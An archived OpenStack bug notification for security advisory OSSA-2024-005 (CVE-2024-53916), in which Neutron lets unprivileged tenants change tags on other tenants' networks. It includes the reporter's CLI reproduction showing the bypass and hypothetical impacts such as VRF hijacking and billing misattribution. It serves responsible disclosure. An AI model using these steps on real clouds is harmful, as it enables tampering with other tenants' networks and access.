yahoo-eng-team team mailing list archive

[OpenStack Infra <2088986@xxxxxxxxxxxxxxxxxx>]

Reviewed:  https://review.opendev.org/c/openstack/ossa/+/936200
Committed: https://opendev.org/openstack/ossa/commit/a1e1e2294c1a9365f5b02048a6f837c35458975f
Submitter: "Zuul (22348)"
Branch:    master

commit a1e1e2294c1a9365f5b02048a6f837c35458975f
Author: Jay Faulkner <jay@xxxxxx>
Date:   Mon Nov 25 12:14:27 2024 -0800

    Add OSSA-2024-005 (CVE-2024-53916)
    
    Closes-bug: #2088986
    Change-Id: Ic107e4612e4803021c464b74e263dd774e7ee2e6


** Changed in: ossa
       Status: In Progress => Fix Released

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-53916

-- 
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to neutron.
https://bugs.launchpad.net/bugs/2088986

Title:
  [OSSA-2024-005] Authorization bypassed when setting tags on networks
  (CVE-2024-53916)

Status in neutron:
  In Progress
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  An unprivileged tenant is able to change (add and clear) tags on
  network objects which do not belong to the tenant, and this action is
  not being subjected to the rule:update_network authorisation check.

  Since the use of the tags attribute is defined locally, the security
  impact of unauthorised tag modification can be anywhere from zero to
  critical. A few hypothetical situations spring to mind:

  1. If the OpenStack operator is using tags to map networks to VRFs, a tenant could move an external network from a public Internet VRF to a private one belonging to an unrelated tenant, thus gaining unauthorised access to the other tenant's private networks.
  2. Similarly, a tenant could move a shared external network from into a non-existent VRF or remove the VRF mapping altogether, thus executing a DoS attack impacting all other tenants using the same shared external network.
  3. If tags is being used to control billing, e.g., by specifying which customer account the network's bandwidth usage should be billed to, then the tenant could possibly make the usage be incorrectly billed to another unrelated tenant, or not billed at all.

  This is easily reproduced with latest devstack, with all defaults. The
  'demo' account are allowed to set the tags on all the pre-created
  networks:

  ubuntu@devstack-tore:~/devstack$ . stackrc
  ubuntu@devstack-tore:~/devstack$ echo $OS_USERNAME
  demo
  ubuntu@devstack-tore:~/devstack$ openstack network set --tag pwnd shared
  ubuntu@devstack-tore:~/devstack$ openstack network set --tag pwnd public
  ubuntu@devstack-tore:~/devstack$ openstack network set --tag pwnd private
  ubuntu@devstack-tore:~/devstack$

  The expectation would be that the 'demo' user would only be allowed to
  set the tags on the 'private' network, which is owned by the demo
  project. For comparison, this is precisely how it works for setting
  other attributes, like the description:

  ubuntu@devstack-tore:~/devstack$ openstack network set --description pwnd shared
  ForbiddenException: 403: Client Error for url: http://10.255.255.135:9696/networking/v2.0/networks/a75396a5-dc52-43a1-ba9d-ab7ff9fe2d6c, rule:update_network is disallowed by policy
  ubuntu@devstack-tore:~/devstack$ openstack network set --description pwnd public
  ForbiddenException: 403: Client Error for url: http://10.255.255.135:9696/networking/v2.0/networks/b20d6975-9e6c-4911-b5cc-46278e0ac62e, rule:update_network is disallowed by policy
  ubuntu@devstack-tore:~/devstack$ openstack network set --description pwnd private
  ubuntu@devstack-tore:~/devstack$

  The above commands resulted in:

  ubuntu@devstack-tore:~/devstack$ openstack network show -c description -c tags shared
  +-------------+-------+
  | Field       | Value |
  +-------------+-------+
  | description |       |
  | tags        | pwnd  |
  +-------------+-------+
  ubuntu@devstack-tore:~/devstack$ openstack network show -c description -c tags public
  +-------------+-------+
  | Field       | Value |
  +-------------+-------+
  | description |       |
  | tags        | pwnd  |
  +-------------+-------+
  ubuntu@devstack-tore:~/devstack$ openstack network show -c description -c tags private
  +-------------+-------+
  | Field       | Value |
  +-------------+-------+
  | description | pwnd  |
  | tags        | pwnd  |
  +-------------+-------+

  The same behaviour was also observed on RDO 2024.1/OVN 24.03/AlmaLinux
  9.

  Best regards,
  Tore Anderson
  Redpill Linpro AS

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/2088986/+subscriptions